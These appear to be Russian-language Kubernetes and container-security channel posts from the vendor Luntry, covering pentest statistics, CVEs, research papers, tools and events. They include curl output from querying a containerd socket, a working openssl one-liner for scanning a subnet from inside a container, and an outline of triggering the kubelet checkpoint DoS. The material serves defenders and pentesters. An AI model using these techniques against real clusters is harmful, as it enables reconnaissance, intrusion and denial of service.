* Using Stream ID: 1 (easy handle 0x55c22b6bdec0)
> POST /containerd.services.version.v1.Version/Version HTTP/2
> Host: localhost
> user-agent: curl/7.81.0
> accept: */*
> content-type: application/grpc
> te: trailers
> grpc-accept-encoding: gzip
> content-length: 5
>
} [5 bytes data]
* We are completely uploaded and fine
* Connection state changed (MAX_CONCURRENT_STREAMS == 4294967295)!
< HTTP/2 200
< content-type: application/grpc
<
{ [55 bytes data]
< grpc-status: 0
< grpc-message:
* Connection #0 to host localhost left intact


Об этом и не только Stephen Bradshaw рассказал в своём блоге, в одноименных заметках containerd socket exploitation в трёх частях (1, 2, 3).

Вчера готовясь к одному закрытому мероприятию, подбивал разные наши данные по результатам наших аудитов/пентестов контейнерных сред под управлением Kubernetes (за другие мы и не беремся) и можно констатировать следующие:
1) В 95% проектах мы получали в итоге права роли Cluster Admin - анализом и контролем RBAC занимается мало кто, в итоге выливается в это.
2) Использование эксплоитов для конкретных CVE составляет всего около 5% от всех наших находок - почти все это было для побега из контейнера через уязвимый системный компонент/сервис.
3) Абсолютное большинство успешных атакующих действий было через специально подготовленный YAML - тут не удивительно, k8s система декларативная и все крутиться вокруг них и с помощью правильных политик на Policy Engine это можно было бы предотвратить.
4) Много специфичных, уникальных кейсов - тут тоже не удивительно, все k8s кластера непохожие друг на друга, все готовят их под свои задачи, специфику и т.д.

Всем хороших выходных!

25 февраля 2025 года рабочая группа SIG Security Kubernetes опубликовала документ под названием “Shift Down Security”. Цель этого документа — помочь организациям использовать лучшие практики безопасности в облачных средах для снижения бизнес-рисков и повышения продуктивности разработчиков.

В нем описывается, как платформенные команды могут внедрять технологии, такие как “Policy as Code”, для предотвращения неправильных конфигураций и автоматизации вопросов безопасности во всех приложениях.

Подход “Shift Down Security” предлагает интегрировать функции безопасности непосредственно в платформу Kubernetes, что позволяет улучшить защиту и предоставить разработчикам больше возможностей для самостоятельной работы.

Наши друзья зарезили проект для графической генерации AuditPolicy для Kubernetes! Проект находиться в стадии beta, но с ним уже можно ознакомиться тут. Подробнее ребята писали о проекте тут.

При этом хочется напомнить о замечательном докладе Алисы Кириченко (один из авторов данного проекта) "Вы еще не читаете Kubernetes Audit Log? Тогда мы идем к вам!" (слайды, видео) с прошлой конференции БеКон 2024.

В комментариях к посту можно накидать идей для развития проекта, чтобы вам хотелось в нем видеть, да и вообще обратную связь для авторов.

Если вы любитель внимательно почитать release notes, то прочитав их к последнему релизу Docker 28, наверняка ваше внимание зацепили следующие изменения:

Fix a security issue that was allowing remote hosts to connect directly to a container on its published ports. moby/moby#49325
Fix a security issue that was allowing neighbor hosts to connect to ports mapped on a loopback address. moby/moby#49325

Немного изучив коммит, мы пришли к выводу, что всё сводится к тому, что хосты, на которых запущен Docker являются маршрутизаторами, поэтому другие хосты в той же локальной сети, где работает Docker, могут получить доступ к контейнерам с запущенными сервисами, даже если эти порты не опубликованы, просто изменив свою таблицу маршрутизации так, чтобы она указывала на хост с Docker, для этой сети.

Если посмотреть комментарии к pull request, можно увидеть что мейнтейнеры пока еще не опубликовали CVE. Также готовится заметка в блог Docker о том как эта уязвимость может повлиять на конечных пользователей.

Уже завтра состоится наш вебинар «Безопасность контейнеров и Kubernetes для CISO» и мы настоятельно рекомендуем перед ним ознакомиться (или освежить в памяти) выступление "Почему защитой k8s должно заниматься целое подразделение?" (слайды, видео) от Артем Мерец (Т-Банк) с прошлогодней конференции БеКон 2024. Будет достаточно пересечений и отсылок к нему, и вообще полезно посмотреть на то как к данному вопросу подходят другие компании.

P.S. Прием заявок на доклады БеКон 2025 еще идет.

Начнем эту неделю с простенькой статьи "Why running as root in Kubernetes containers is dangerous?". Целевая аудитория начинающие, но читайте ее внимательно ;) Уже ("наверное") скоро можно будет обсудить 0day уязвимость в Kubernetes, касающийся данного аспекта!

P.S. В Luntry детект уже в процессе добавления, статья для блога уже почти готова - ждем патча.

У себя на сайте мы выложили запись выступления "Основы анализа СЗИ в контейнерном исполнении с помощью Luntry". В рамках которого можно посмотреть как подходить к изучению и анализу абсолютно любого неизвестного контейнерного приложения в Kubernetes. В результате понять что и как работает внутри контейнера, какую сетевую активность вызывает и как вообще это приложение соответствует лучшим практикам безопасности. Это будет полезно как исследовательским лабораториям, так и специалистам ИБ, которые проводят работы по ПМИ новых релизов своих или сторонних разработчиков.

Довольно часто бывает так, что во время пентеста, оказавшись внутри контейнера, внутри либо нет никаких инструментов, либо нет возможности их докачать. Однако, многие популярные образы образы, например go, haproxy, kong, nginx и другие distroless образы содержат бинарь с openSSL.

Атакующие могут воспользоваться openSSL для сканирования сети, например, с помощью такого oneliner:


LOS_24_IP="ENTER_IP_TO_SCAN";IP=$(echo $LOS_24_IP | cut -d"." -f1,2,3);for i in $(seq 1 255); do NEW_IP=$(echo $IP.$i); (timeout .1 openssl s_client $NEW_IP 2>&1 | grep -q "connect:errno" && echo "$NEW_IP,up" 2>/dev/null) 2>/dev/null ;done

Сегодня хочется познакомить вас с академическим исследованием "Uncovering Threats in Container Systems: A Study on Misconfigured Container Components in the Wild", выпущенным в конце прошлого года.

Во внимание исследователей попали Docker и Kubernetes, а основной упор тут на доступные в сети интернет их системные компоненты, которые ясно дело не должны туда торчать и предоставляют дополнительные вектора атак. Такие вещи они назвали Misconfigured Container Components сокрушённо MCC. В итоге таких неблагонадежных систем в интернете нашлось 1,003,947. Для сбора данных использовали Shodan API. В работе есть много разных интересных таблиц и классификаций, так что рекомендуем ознакомиться самостоятельно.

Если вам не хватает хардкора в теме безопасности контейнеров и Kubernetes, то специально для вас у нас в блоге вышла статья "Ломаем ваши видеокарты: распаковка эксплойта для CVE-2024-0132 под NVIDIA Container Toolkit"!

Тема острая, горячая приправленная ML-кластерами, драйверами видеокарт, атакой TOCTOU, проблемой разыменования symlinks ;)

При этом тема очень актуальная ввиду все большего количества систем, работающих с видеокартами.

P.S. Раньше всех о таких материал можно узнать на нашем официальном канале.

В прошлом году была раскрыта очередная уязвимость в ядре – CVE-2024-36972. И помимо локального повышения привилегий с помощью эксплуатации этой уязвимости можно добиться Container Escape!

Бага была обнаружена в рамках kernelCTF (что это такое мы не раз рассказывали на канале). А совсем недавно появился публичный эксплойт.

Уязвимость затрагивает довольно свежие версии ядер:

v6.8 – v6.9
v5.15.147
v6.1.78
v6.6.17

В рамках недавно прошедшей конференции FOSDEM 2025 было ряд треков, которые явно подходят под тематику нашего канала и будут интересны нашей аудитории, а именно:
- Containers (тут и про Kubernetes есть, конечно)
- eBPF (один доклад по ИБ)
- Monitoring and Observability (и k8s и eBPF тоже есть)
- Security (есть хорошие темы)
- SBOM (море всего интересного)

На нашем сайте стали доступны материалы с вебинара "Фреймворк безопасности контейнеров JCSF" (слайды и видео на VK,YT). Это почти 2 часа полезного материала про то как смотреть и делать безопасность в Kubernetes.

2025-ый год начался с очередной CVE для Kubernetes. CVE-2025-0426: Node Denial of Service via kubelet Checkpoint API аффектит версии kubelet с 1.32.0 – 1.32.1. 1.31.0 – 1.31.5, 1.30.0 – 1.30.9, а также все версии до 1.25, поскольку поддержка Container checkpoint была добавлена как alpha feature в этой версии.

Для эксплуатации уязвимости злоумышленнику достаточно отправить большое количество запросов на создание container checkpoint на read-only HTTP port (если включен, то по умолчанию 10255), что вызовет многократное создание файлов с checkpoints в /var/lib/kubelet/checkpoints и как следствие устроит DoS для Node.

Однако, чтобы узявимость была эксплуатабельна должно сойтись несколько факторов:

1) Должен быть включен read-only port у kubelet. Он включается отдельным параметром в конфиге
2) Используемый container runtime должен поддерживать container checkpointing feature, например CRI-O v1.25.0+ (с включенным параметром enable_criu_support) или containerd v2.0+ с установленным criu
3) В самом kubeapi должен быть включен ContainerCheckpoint feature gate

Cегодня хотим обратить ваше внимание на информационное сообщение ФСТЭК России от 13 января 2025 г. N 240/24/38. Оно посвящено повышению безопасности средств защиты информации, в состав которых разработчики включают средства контейнеризации или образы контейнеров.

На нашей памяти это второе упоминание контейнеров/образов/микросервисов ФСТЭКом после публикации 118 приказа. Очень здорово, что регулятор все больше внимание удаляет данной теме!

И как раз в тему этого будет наш воркшоп “Основы анализа СЗИ в контейнерном исполнении с помощью Luntry” в рамках ТБФорум.

Мы видим как у наших клиентов и друзей все больше появляется самописных kubernetes операторов (про сторонние даже говорить нечего - их очень много уже в любой инфраструктуре). Тут важно понимать какие с ними могут быть проблемы. И как раз для этого может пригодиться работа "An Empirical Study on Kubernetes Operator Bugs", где рассматривается 210 ошибок с 36 операторов. Это все хорошо классифицировано и систематизировано, что позволяет поучиться на ошибках других и не допускать подобного в своих проектах.

Изначально мы просто планировали сделать просто про релиз фреймворка безопасности контейнеров JCSF. А потом подумали а почему бы не пригласить коллег и вместе рассмотреть и обсудить их фреймворк в рамках отдельного стрима ?!

Так что завтра в 11:00 проведем эфир и там поговорим о фреймворке и вообще про безопасность Kubernetes.

Если у вас уже есть вопросы по теме, то оставляйте их в комментариях к данному посту - постараемся все это задать/уточнить/обсудить.

Регистрация тут.

8 февраля проходил Red Team Village Overflow с множеством различных воркшопов, тему Kubernetes Security также не обделили вниманием.

На протяжении почти двух часов Graham Helton (Red Team Security Engineer, Google) в своем воркшопе Breaching Bare Metal Kubernetes Clusters рассматривает несколько сценариев атак, которые могут быть использованы для полной компрометации кластера Kubernetes:

- Namespace isolation
- Pod breakout
- RBAC abuse
- Steal Secrets

После каждой атаки автор рассмотрел средства контроля, которые могут остановить или смягчить каждую атаку, какие инструменты следует иметь в своем арсенале при проведении аудита Kubernetes, а также последствия (и заблуждения) Kubernetes для безопасности.

Со слайдами и лабами из воркшопа можно ознакомиться в репозитории автора. Запись стрима доступна на YouTube.

12 февраля команда Luntry едет в Екатеринбург на Квартирник по безопасной разработке – встреча сообщества, на которой мы обсудим важность DevSecOps в 2025 году, обменяемся опытом и идеями в обстановке дружеского квартирника.

В 18:20 будет доклад Сергея Канибора, R&D Luntry (и автора данного канала), на тему “Безопасность ML кластеров Kubernetes”.

Мероприятие проходит онлайн и оффлайн, начало в 16:00. Зарегистрироваться на квартирник можно по ссылке – количество мест ограничено!

P.S. Приходите пообщаться лично)

Мы наконец-то сделали официальный telegram канал для нашего решения Luntry, где будет публиковаться информация как о самом решении, так и наших активностях, новостях. Ну и хорошим техническим материалом канал не будет обделен. Там уже сейчас можно ознакомиться со статьей про инцидент SolarWinds в контейнерном Мире.

Подписывайтесь!

В декабре прошлого года ресерчеры из Unit 42 выпустили новое исследование – "Dirty DAG: New Vulnerabilities in Azure Data Factory’s Apache Airflow Integration".

На первый взгляд ничего общего с Kubernetes тут нет, но как раз благодаря ряду критичных мисконфигов в инстансе Apache Airlfow, запущенного под управлением K8s исследователи смогли продвинуться дальше.

Получив реверс-шелл (ввиду отсутствия Network Policy), благодаря DAG, ресерчеры оказались внутри контейнера, использующего Service Account с правами Сluster-Admin. Далее они без особого труда прочитали секреты и сбежали на Node.

Дальнейшие их продвижение затрагивало сервисы Azure, но первоначальный доступ был получен именно благодаря недостаткам в кластере K8s.

Есть такое предчувствие, что такие механизмы как AppArmor и Seccomp получат вторую жизнь и все благодаря контейнерам =)

Проект Kubernetes-AppArmor-Profiles еще одно подтверждение этому. В нем собраны AppArmor и Seccomp профили для популярных образов приложений: grafana, ingress-nginx, memcached, nginx, postgresql, prometheus, redis, tomcat, traefik.

P.S. Ну и не зря же мы в наш Luntry пару лет назад добавляли генератор AppArmor профилей в конце концов ;)

25 февраля в 11:00 мы проведем вебинар «Безопасность контейнеров и Kubernetes для CISO».

Вебинар будет интересен также C-level, тимлидам и руководителям информационной безопасности, которые работают с контейнерными средами или планируют их внедрение. Мы расскажем о ключевых аспектах безопасности контейнеров и Kubernetes, поделимся практическим опытом и ответим на ваши вопросы.

Команда Luntry уже более 5 лет помогает компаниям из разных секторов (банки, ритейл, финансы и др.) обеспечивать безопасность контейнерных инфраструктур. Мы работали с кластерами различного размера и уровня зрелости, поэтому можем поделиться релевантным опытом как для новичков, так и для экспертов в области контейнеризации.

В рамках вебинара рассмотрим:
- Как и почему контейнеризация завоевывает инфраструктуры
- Что такое контейнеры и Kubernetes
- Как смотреть на защиту контейнерных сред
- Как совместно с ИТ это все использовать на благо, а не во вред
- Почему защита Kubernetes это не то же самое, что и защита Windows/Linux/Mac сред
- Какие подводные камни есть при защите контейнерных сред

Регистрация по ссылке.

В прошлом году, в одном из постов, мы рассказывали про инструмент k8spider и его возможности. Его автор совсем недавно выпустил статью "Spider in the Pod - How to Penetrate Kubernetes with Low or No Privileges", в которой рассказал как можно пентестить Kubernetes когда привилегий совсем нет или их очень мало.

Автор разбирает несколько кейсов для получения первоначального доступа: Java Heapdump to Cluster Initial Access, Gain Cluster Admin via Weave Scope Internal Unauthenticated Service, Leakage of sensitive information via mutating webhook и Attacking persistent Database backend with NFS/CSI storage. Крайне рекомендуем ознакомиться со всеми более детальней!

В своем повествании автор возвращается к k8spider, а точнее улучшениям которые были внесены в последней версии. Теперь k8spider умеет парсить метрики kube-state-metrics и по ним восстанавливать информацию по доступным ресурсам и их конфигурации.

В блоге исследовательской команды Aqua Security вышел пост с громким названием "OPA Gatekeeper Bypass Reveals Risks in Kubernetes Policy Engines"! А по факту просто некорректно написанная политика... И такую некорректную политику можно написать и во всех других PolicyEngine. Помимо этого мы на нашем канале уже об этом писали 3 года назад - вот оригинальный пост.

Вывод тут простой - внимательнее читайте наши посты и будете в курсе самых интересных кейсов раньше других ;)

Инженеры из Cilium опубликовали книгу Kubernetes Network Policies Done the Right Way.

Из этой книги вы узнаете:

- Что такое NetworkPolicy, какова их роль в обеспечении безопасности workloads, и как преодолеть проблемы с их внедрением
- Про разные подходы к использованию сетевых политик, управление ими, и их конфигурацию
- Про принятие принципа Zero Trust, использование Hubble для повышение observability

Экземпляр книги прикладываем во вложении к посту.

В одном из своих прошлых постов мы уже упоминали доклад "Commencement into Real Kubernetes Security" от Jay Beale и Mark Manning с конференции ShmooCon 2025 и там делали акцент на релизе инструмента Seccomp-Diff. А сегодня хочется сделать акцент на самом докладе, потому что он просто великолепный и мысли авторов во многих моментах совпадают с нашими (которые мы рассказываем в наших выступлениях). Приятно что у мировых звезд индустрии такой же взгляд ;)

И так:
- Видео выступления
- Слайды выступления
- Демо из выступления (Взлом CIS соответствующего кластера без CVE - для многих это идеал)

И в шапке поста несколько шедевральных слайдов, там таких много, поэтому презентация MUST SEE! На самом деле прям хочется сделать отдельный стрим с разбором данной преза - настолько там много всего хорошего)

Вышла очередная статья из цикла Kubernetes security fundamentals от Rory McCune, на этот раз про Networking.

В начале автор рассказывает про так называемые Network trust zones, а потом представляет CNI, сетевые политики и способы управления ими.

В конце, автор приводит манифест для поднятия демо-стенда.

Занимательный материал "Migrating from Istio to Linkerd". Ранее подобного не встречал, а при этом последние наверное полгода - год вопросы про Linkerd от друзей и клиентов мы получаем. Так что эта статья будет как раз в тему. При этом там и про механизмы безопасности не забыли в разделе "Migrating authorization policy".

А как у вас отношение к Linkerd?)

Напоминаем, что идет прием заявок на доклады на конференцию БеКон 2025!

Если мы на предыдущие конференции только приглашали докладчиков из наших клиентов, друзей и партнеров, на конкретные темы, то сейчас появляется возможность предложить свою тему самостоятельно ;)

Требования к заявке:
- Продолжительность доклада — не более 25 минут
- Тема по безопасности контейнеров и Kubernetes
- Выступление рассчитано на технических специалистов
- Доклад актуален и основан на личном опыте
- Доклад ранее нигде не был представлен
- Доклад глубоко раскрывает тему и имеет практическое применение

Заявки принимаются до 31 марта! Сама конференция будет в начале июня.

Благодаря посту выше мы вышли на статью "The (Anti-)EDR Compendium" и решили сами обдумать действительно насколько это схоже с тем, что можно наблюдать в контейнерном мире, в Kubernetes при работе runtime security решений агентской природы (то, что ставится на Node и мониторит происходящее там).

Основные моменты, которые хотелось бы подсветить:
1) Чем больше детектирующей логики на агенте/сенсоре, тем больше влияние на производительность и вообще возможность обработать большой поток сообщений (упираемся в лимиты и дропы). В контейнерном Мире все ухудшается тем, что там в большинстве своем высоконагруженные приложения и они генерируют большое количество событий, не под стать пользовательской машине. На пример мы встречали кейсы, где порождалось по 100тыщ процессов в секунду (и это явно не предел, а с сетевыми может быть и еще хуже ситуация)! И чем больше там правил, тем больше времени и ресурсов надо чтобы это разобрать.

2) Сложные анализы на агенте/сенсоре — это всегда большие оверхеды. В разделе "Performance Impact" рассматривается ситуация сканирование памяти и файлом антивирусным движком. Как я думаю вы уже догадались это дорого! И это очень плохо влияет на систему контейнеризации (привет overlayfs) и об этом и говорит документация docker. Иначе это приведет к сбоям в работе контейнерных приложений.

Есть еще много общего и это мы рассматривали в вебинаре "Runtime Security: на вкус и цвет все фломастеры разные".

13 февраля на ТБ Форуме пройдет доклад Анатолия Карпенко, инженера по автоматизации Luntry, на тему “Основы анализа СЗИ в контейнерном исполнении с помощью Luntry”.

За достаточно небольшой временной интервал мы с вами пройдем путь от полного неведения о попавшем нам в руки для анализа СЗИ в контейнерном исполнении, до полного понимания, что это за средство, как оно устроено и насколько все хорошо у него с безопасностью.

В рамках доклада:
- Узнаем, как можно быстро понять исследуемое приложение с точки зрения его компонентов и активности;
- Разберемся, на какие аспекты образов контейнеров стоит обращаться внимание с точки зрения информационной безопасности;
- Поднявшись на уровень выше, углубимся в свойства безопасности на уровне контейнеров и YAML файлов, описывающих их в Kubernetes.
- На каждом этапе остановимся на рекомендациях по исправлению и улучшению уровня безопасности контейнерного приложения.

Проект Notary (еще один проект, помимо Cosign, для подписи и верификации артефактов) прошел второй security audit.

Аудиторы из Quarks Lab в своем отчете отразили 11 findings, 2 из которых уже присвоили CVE:

CVE-2024-56138: Time stamp signature generation lacks certificate revocation check
CVE-2024-51491: Process crash during CRL-based revocation check on OS using separate mount point for temp Directory

Краткую выжимку всех находок можно почитать в блоге Quarks Lab тут, а полный отчет в репозитории Notary тут.